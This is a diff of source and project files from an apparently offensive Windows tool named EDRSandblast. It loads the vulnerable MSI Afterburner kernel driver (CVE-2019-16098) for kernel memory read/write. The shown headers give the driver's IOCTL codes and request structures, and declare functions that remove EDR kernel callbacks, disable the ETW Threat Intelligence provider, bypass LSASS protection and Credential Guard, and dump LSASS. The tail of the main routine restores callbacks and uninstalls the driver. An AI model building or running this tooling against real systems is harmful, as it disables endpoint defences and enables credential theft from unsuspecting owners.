_tprintf(TEXT("\n\n"));
|
||||
|
||||
// Checks that the EDR drivers were indeed restored.
|
||||
_tprintf(TEXT("Checking that all EDR driver(s) were successfully restored in Kernel callbacks...\n"));
|
||||
checkEDRDrivers = (struct FOUND_EDR_CALLBACKS*)calloc(1, sizeof(struct FOUND_EDR_CALLBACKS));
|
||||
if (!checkEDRDrivers) {
|
||||
_tprintf(TEXT("[!] Couldn't allocate memory to check if the EDR drivers were successfully restored in Kernel callbacks\n"));
|
||||
}
|
||||
EnumAllEDRKernelCallbacks(checkEDRDrivers, verbose);
|
||||
if (removedEDRDrivers && checkEDRDrivers && removedEDRDrivers->index == checkEDRDrivers->index) {
|
||||
_tprintf(TEXT("[+] All EDR drivers were successfully restored in Kernel callbacks\n"));
|
||||
}
|
||||
else {
|
||||
_tprintf(TEXT("[!] All EDR drivers could not be restored, continuing...\n"));
|
||||
lpExitCode = EXIT_FAILURE;
|
||||
}
|
||||
free(checkEDRDrivers);
|
||||
_tprintf(TEXT("\n\n"));
|
||||
}
|
||||
|
||||
// Renable the ETW Threat Intel provider.
|
||||
// TODO : make this conditionnal, just as kernel callbacks restoring ?
|
||||
if (ETWTIState) {
|
||||
EnableETWThreatIntelProvider(verbose);
|
||||
}
|
||||
|
||||
if (removedEDRDrivers) {
|
||||
free(removedEDRDrivers);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// TODO : Fix Windows error 0x00000422 that happens on 1 on 2 restart after uninstall.
|
||||
if (kernelMode && removeVulnDriver) {
|
||||
Sleep(5000);
|
||||
_tprintf(TEXT("[*] Uninstalling vulnerable MSI Afterburner driver...\n"));
|
||||
status = UninstallVulnerableDriver();
|
||||
if (status == FALSE) {
|
||||
_tprintf(TEXT("[!] An error occured while attempting to uninstall the vulnerable driver\n"));
|
||||
_tprintf(TEXT("[*] The service should be manually deleted: cmd /c sc delete %s\n"), gVulnDriverServiceName);
|
||||
lpExitCode = EXIT_FAILURE;
|
||||
}
|
||||
else {
|
||||
_tprintf(TEXT("[+] The vulnerable driver was successfully uninstalled!\n"));
|
||||
}
|
||||
}
|
||||
|
||||
return lpExitCode;
|
||||
}
|
||||
@@ -0,0 +1,195 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<VCProjectVersion>16.0</VCProjectVersion>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<ProjectGuid>{7e3e2ece-d1eb-43c6-8c83-b52b7571954b}</ProjectGuid>
|
||||
<RootNamespace>EDRSandblast</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
<PreferredToolArchitecture>x64</PreferredToolArchitecture>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
<PreferredToolArchitecture>x64</PreferredToolArchitecture>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
<PreferredToolArchitecture>x64</PreferredToolArchitecture>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
<PreferredToolArchitecture>x64</PreferredToolArchitecture>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="Shared">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level4</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;advapi32.lib;dbghelp.lib;version.lib</AdditionalDependencies>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level4</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;;advapi32.lib;dbghelp.lib;version.lib</AdditionalDependencies>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level4</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||
<AdditionalIncludeDirectories>Includes/</AdditionalIncludeDirectories>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;Pathcch.lib;advapi32.lib;dbghelp.lib;version.lib</AdditionalDependencies>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level4</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<AdditionalIncludeDirectories>Includes\;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;Pathcch.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;;advapi32.lib;dbghelp.lib;version.lib</AdditionalDependencies>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="EDRBypass\ETWThreatIntel.c" />
|
||||
<ClCompile Include="EDRBypass\KernelCallbacks.c" />
|
||||
<ClCompile Include="EDRSandblast.c" />
|
||||
<ClCompile Include="LSASSProtectionBypass\CredGuard.c" />
|
||||
<ClCompile Include="LSASSProtectionBypass\RunAsPPL.c" />
|
||||
<ClCompile Include="Userland\PEBBrowse.c" />
|
||||
<ClCompile Include="Userland\PEParser.c" />
|
||||
<ClCompile Include="Userland\UserlandHooks.c" />
|
||||
<ClCompile Include="Utils\DriverOps.c" />
|
||||
<ClCompile Include="Utils\FileVersion.c" />
|
||||
<ClCompile Include="Utils\KernelMemoryPrimitives.c" />
|
||||
<ClCompile Include="Utils\KernelPatternSearch.c" />
|
||||
<ClCompile Include="Utils\LSASSDump.c" />
|
||||
<ClCompile Include="Utils\NtoskrnlOffsets.c" />
|
||||
<ClCompile Include="Utils\WdigestOffsets.c" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="Includes\DriverOps.h" />
|
||||
<ClInclude Include="EDRSandBlast.h" />
|
||||
<ClInclude Include="Includes\ETWThreatIntel.h" />
|
||||
<ClInclude Include="Includes\FileVersion.h" />
|
||||
<ClInclude Include="Includes\Globals.h" />
|
||||
<ClInclude Include="Includes\KernelCallbacks.h" />
|
||||
<ClInclude Include="Includes\KernelMemoryPrimitives.h" />
|
||||
<ClInclude Include="Includes\KernelPatternSearch.h" />
|
||||
<ClInclude Include="Includes\LSASSDump.h" />
|
||||
<ClInclude Include="Includes\NtoskrnlOffsets.h" />
|
||||
<ClInclude Include="Includes\PEBBrowse.h" />
|
||||
<ClInclude Include="Includes\PEParser.h" />
|
||||
<ClInclude Include="Includes\Undoc.h" />
|
||||
<ClInclude Include="Includes\Undoc_64.h" />
|
||||
<ClInclude Include="Includes\UserlandHooks.h" />
|
||||
<ClInclude Include="Includes\WdigestOffsets.h" />
|
||||
<ClInclude Include="Includes\CredGuard.h" />
|
||||
<ClInclude Include="Includes\RunAsPPL.h" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,123 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="Source Files">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Header Files">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Resource Files">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Source Files\LSASSProtectionBypass">
|
||||
<UniqueIdentifier>{54b0d87a-da5b-4c62-99f2-30e8848bbfda}</UniqueIdentifier>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="EDRSandblast.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="EDRBypass\KernelCallbacks.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="LSASSProtectionBypass\CredGuard.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="LSASSProtectionBypass\RunAsPPL.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Utils\KernelMemoryPrimitives.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Utils\DriverOps.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Utils\LSASSDump.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Utils\FileVersion.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Utils\KernelPatternSearch.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Utils\NtoskrnlOffsets.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Utils\WdigestOffsets.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="EDRBypass\ETWThreatIntel.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Userland\PEBBrowse.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Userland\PEParser.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Userland\UserlandHooks.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="Includes\CredGuard.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Includes\RunAsPPL.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Includes\KernelMemoryPrimitives.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="EDRSandBlast.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Includes\DriverOps.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Includes\LSASSDump.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Includes\FileVersion.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Includes\KernelPatternSearch.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Includes\NtoskrnlOffsets.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Includes\WdigestOffsets.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Includes\KernelCallbacks.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Includes\Globals.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Includes\ETWThreatIntel.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Includes\PEBBrowse.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Includes\PEParser.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Includes\Undoc.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Includes\Undoc_64.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Includes\UserlandHooks.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,12 @@
|
||||
#pragma once
|
||||
|
||||
#include <Windows.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#include <Psapi.h>
|
||||
#include <tlhelp32.h>
|
||||
|
||||
#include "Globals.h"
|
||||
#include "WdigestOffsets.h"
|
||||
|
||||
DWORD WINAPI disableCredGuardByPatchingLSASS(void);
|
||||
@@ -0,0 +1,26 @@
|
||||
/*
|
||||
|
||||
--- Driver install / uninstall functions.
|
||||
--- Source and credit: https://github.com/gentilkiwi/mimikatz
|
||||
|
||||
*/
|
||||
|
||||
#pragma once
|
||||
|
||||
#include <Windows.h>
|
||||
#include <aclapi.h>
|
||||
#include <Tchar.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#include "Globals.h"
|
||||
|
||||
#if !defined(PRINT_ERROR_AUTO)
|
||||
#define PRINT_ERROR_AUTO(func) (_tprintf(TEXT("[!] ERROR ") TEXT(__FUNCTION__) TEXT(" ; ") func TEXT(" (0x%08x)\n"), GetLastError()))
|
||||
#endif
|
||||
|
||||
#define MAX_UNINSTALL_ATTEMPTS 3
|
||||
#define OP_SLEEP_TIME 1000
|
||||
|
||||
BOOL InstallVulnerableDriver(TCHAR* driverPath);
|
||||
|
||||
BOOL UninstallVulnerableDriver();
|
||||
@@ -0,0 +1,29 @@
|
||||
/*
|
||||
|
||||
--- ETW Threat Intelligence operations.
|
||||
--- Inspiration and credit: https://public.cnotools.studio/bring-your-own-vulnerable-kernel-driver-byovkd/exploits/data-only-attack-neutralizing-etwti-provider
|
||||
|
||||
*/
|
||||
|
||||
#pragma once
|
||||
|
||||
#include <Windows.h>
|
||||
#include <Tchar.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#include "Globals.h"
|
||||
#include "KernelMemoryPrimitives.h"
|
||||
#include "NtoskrnlOffsets.h"
|
||||
|
||||
#define DISABLE_PROVIDER 0x0
|
||||
#define ENABLE_PROVIDER 0x1
|
||||
|
||||
DWORD64 GetEtwThreatIntProvRegHandleAddress();
|
||||
|
||||
DWORD64 GetEtwThreatInt_ProviderEnableInfoAddress(BOOL verbose);
|
||||
|
||||
void DisableETWThreatIntelProvider(BOOL verbose);
|
||||
|
||||
void EnableETWThreatIntelProvider(BOOL verbose);
|
||||
|
||||
BOOL isETWThreatIntelProviderEnabled(BOOL verbose);
|
||||
@@ -0,0 +1,11 @@
|
||||
#pragma once
|
||||
|
||||
#include <Windows.h>
|
||||
#include <Tchar.h>
|
||||
#include <stdio.h>
|
||||
|
||||
void GetFileVersion(TCHAR* buffer, SIZE_T bufferLen, TCHAR* filename);
|
||||
|
||||
void GetNtoskrnlVersion(TCHAR* ntoskrnlVersion);
|
||||
|
||||
void GetWdigestVersion(TCHAR* wdigestVersion);
|
||||
@@ -0,0 +1,3 @@
|
||||
#pragma once
|
||||
|
||||
const TCHAR *gVulnDriverServiceName;
|
||||
@@ -0,0 +1,89 @@
|
||||
/*
|
||||
|
||||
--- Kernel callbacks operations.
|
||||
--- Inspiration and credit: https://github.com/br-sn/CheekyBlinder
|
||||
|
||||
*/
|
||||
|
||||
#pragma once
|
||||
|
||||
#include <Windows.h>
|
||||
#include <Tchar.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#include "Globals.h"
|
||||
#include "DriverOps.h"
|
||||
#include "KernelMemoryPrimitives.h"
|
||||
#include "NtoskrnlOffsets.h"
|
||||
|
||||
/*
|
||||
* PspCreateProcessNotifyRoutine / PspCreateThreadNotifyRoutine max: 64 callbacks
|
||||
* PspLoadImageNotifyRoutine max: 8 callbacks
|
||||
* Source: https://blog.gentilkiwi.com/retro-ingenierie/windbg-notifications-kernel
|
||||
*/
|
||||
#define PSP_MAX_CALLBACKS 0x40
|
||||
|
||||
struct KRNL_CALLBACK {
|
||||
TCHAR const* driver;
|
||||
DWORD64 callback_addr;
|
||||
DWORD64 callback_struct;
|
||||
DWORD64 callback_func;
|
||||
BOOL removed;
|
||||
};
|
||||
|
||||
struct FOUND_EDR_CALLBACKS {
|
||||
DWORD64 index;
|
||||
struct KRNL_CALLBACK EDR_CALLBACKS[256];
|
||||
};
|
||||
|
||||
TCHAR const* EDR_DRIVERS[];
|
||||
|
||||
BOOL isDriverEDR(TCHAR* driver);
|
||||
|
||||
void RestoreEDRCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers);
|
||||
|
||||
/*
|
||||
|
||||
------ Process (PspCreateProcessNotifyRoutine) callbacks.
|
||||
|
||||
*/
|
||||
|
||||
DWORD64 GetPspCreateProcessNotifyRoutineAddress(void);
|
||||
|
||||
void EnumPspCreateProcessNotifyRoutine(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose);
|
||||
|
||||
void RemoveEDRProcessNotifyCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose);
|
||||
|
||||
/*
|
||||
|
||||
------ Thread (PspCreateThreadNotifyRoutine) callbacks.
|
||||
|
||||
*/
|
||||
|
||||
DWORD64 GetPspCreateThreadNotifyRoutineAddress(void);
|
||||
|
||||
void EnumPspCreateThreadNotifyRoutine(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose);
|
||||
|
||||
void RemoveEDRThreadNotifyCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose);
|
||||
|
||||
/*
|
||||
|
||||
------ Image loading (PspLoadImageNotifyRoutine) callbacks.
|
||||
|
||||
*/
|
||||
|
||||
DWORD64 GetPspLoadImageNotifyRoutineAddress(void);
|
||||
|
||||
void EnumPspLoadImageNotifyRoutine(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose);
|
||||
|
||||
void RemoveEDRImageNotifyCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose);
|
||||
|
||||
/*
|
||||
|
||||
------ All EDR Kernel callbacks enumeration / removal.
|
||||
|
||||
*/
|
||||
|
||||
void EnumAllEDRKernelCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose);
|
||||
|
||||
void RemoveAllEDRKernelCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose);
|
||||
@@ -0,0 +1,73 @@
|
||||
/*
|
||||
|
||||
--- Kernel memory Read / Write primitives through the vulnerable Micro-Star MSI Afterburner driver.
|
||||
--- Source and credit: https://github.com/Barakat/CVE-2019-16098/blob/master/CVE-2019-16098.cpp
|
||||
|
||||
*/
|
||||
|
||||
#pragma once
|
||||
|
||||
#include <Windows.h>
|
||||
#include <Psapi.h>
|
||||
#include <Tchar.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#include "Globals.h"
|
||||
|
||||
struct RTCORE64_MSR_READ {
|
||||
DWORD Register;
|
||||
DWORD ValueHigh;
|
||||
DWORD ValueLow;
|
||||
};
|
||||
|
||||
struct RTCORE64_MEMORY_READ {
|
||||
BYTE Pad0[8];
|
||||
DWORD64 Address;
|
||||
BYTE Pad1[8];
|
||||
DWORD ReadSize;
|
||||
DWORD Value;
|
||||
BYTE Pad3[16];
|
||||
};
|
||||
|
||||
struct RTCORE64_MEMORY_WRITE {
|
||||
BYTE Pad0[8];
|
||||
DWORD64 Address;
|
||||
BYTE Pad1[8];
|
||||
DWORD ReadSize;
|
||||
DWORD Value;
|
||||
BYTE Pad3[16];
|
||||
};
|
||||
|
||||
static const DWORD RTCORE64_MSR_READ_CODE = 0x80002030;
|
||||
static const DWORD RTCORE64_MEMORY_READ_CODE = 0x80002048;
|
||||
static const DWORD RTCORE64_MEMORY_WRITE_CODE = 0x8000204c;
|
||||
|
||||
BYTE ReadMemoryBYTE(HANDLE Device, DWORD64 Address);
|
||||
|
||||
WORD ReadMemoryWORD(HANDLE Device, DWORD64 Address);
|
||||
|
||||
DWORD ReadMemoryDWORD(HANDLE Device, DWORD64 Address);
|
||||
|
||||
DWORD64 ReadMemoryDWORD64(HANDLE Device, DWORD64 Address);
|
||||
|
||||
void WriteMemoryBYTE(HANDLE Device, DWORD64 Address, DWORD64 Value);
|
||||
|
||||
void WriteMemoryWORD(HANDLE Device, DWORD64 Address, DWORD64 Value);
|
||||
|
||||
void WriteMemoryDWORD64(HANDLE Device, DWORD64 Address, DWORD64 Value);
|
||||
|
||||
/*
|
||||
|
||||
--- Kernel exploitation helpers.
|
||||
--- Largely inspired from https://github.com/br-sn/CheekyBlinder
|
||||
--- Source and credit: https://github.com/br-sn/CheekyBlinder/blob/master/CheekyBlinder/CheekyBlinder.cpp
|
||||
|
||||
*/
|
||||
|
||||
DWORD64 FindNtoskrnlBaseAddress(void);
|
||||
|
||||
TCHAR* FindDriver(DWORD64 address, BOOL verbose);
|
||||
|
||||
HANDLE GetDriverHandle();
|
||||
|
||||
DWORD64 GetFunctionAddress(LPCSTR function);
|
||||
@@ -0,0 +1,24 @@
|
||||
/*
|
||||
|
||||
--- ntoskrnl Notify Routines' offsets search functions using patterns.
|
||||
--- Ultimately not used because too unreliable and too prone to BSoD.
|
||||
|
||||
*/
|
||||
|
||||
#pragma once
|
||||
|
||||
#include <Windows.h>
|
||||
#include <Tchar.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#include "KernelMemoryPrimitives.h"
|
||||
|
||||
DWORD64 PatternSearchStartingFromAddress(HANDLE Device, DWORD64 startAddress, DWORD bytesToScan, DWORD64 pattern, DWORD64 mask);
|
||||
|
||||
DWORD64 ExtractRelativeAddress(HANDLE Device, DWORD64 instructionStartAddress, DWORD64 instructionRelativeAddressOffset, DWORD64 nextInstructionOffset);
|
||||
|
||||
DWORD64 GetPspCreateProcessNotifyRoutineAddressUsingPattern(void);
|
||||
|
||||
DWORD64 GetPspCreateThreadNotifyRoutineAddressUsingPattern(void);
|
||||
|
||||
DWORD64 GetPspLoadImageNotifyRoutineAddressUsingPattern(void);
|
||||
@@ -0,0 +1,15 @@
|
||||
/*
|
||||
|
||||
--- LSASS dump functions.
|
||||
|
||||
*/
|
||||
|
||||
#pragma once
|
||||
|
||||
#include <Windows.h>
|
||||
#include <Dbghelp.h>
|
||||
#include <Tchar.h>
|
||||
#include <stdio.h>
|
||||
